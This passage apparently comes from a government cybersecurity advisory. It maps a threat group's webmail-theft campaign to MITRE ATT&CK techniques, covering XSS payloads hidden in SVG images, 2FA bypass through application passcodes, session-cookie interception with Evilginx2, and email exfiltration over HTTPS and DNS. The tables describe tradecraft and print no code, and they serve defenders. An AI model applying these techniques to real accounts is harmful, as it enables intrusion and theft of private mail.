<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
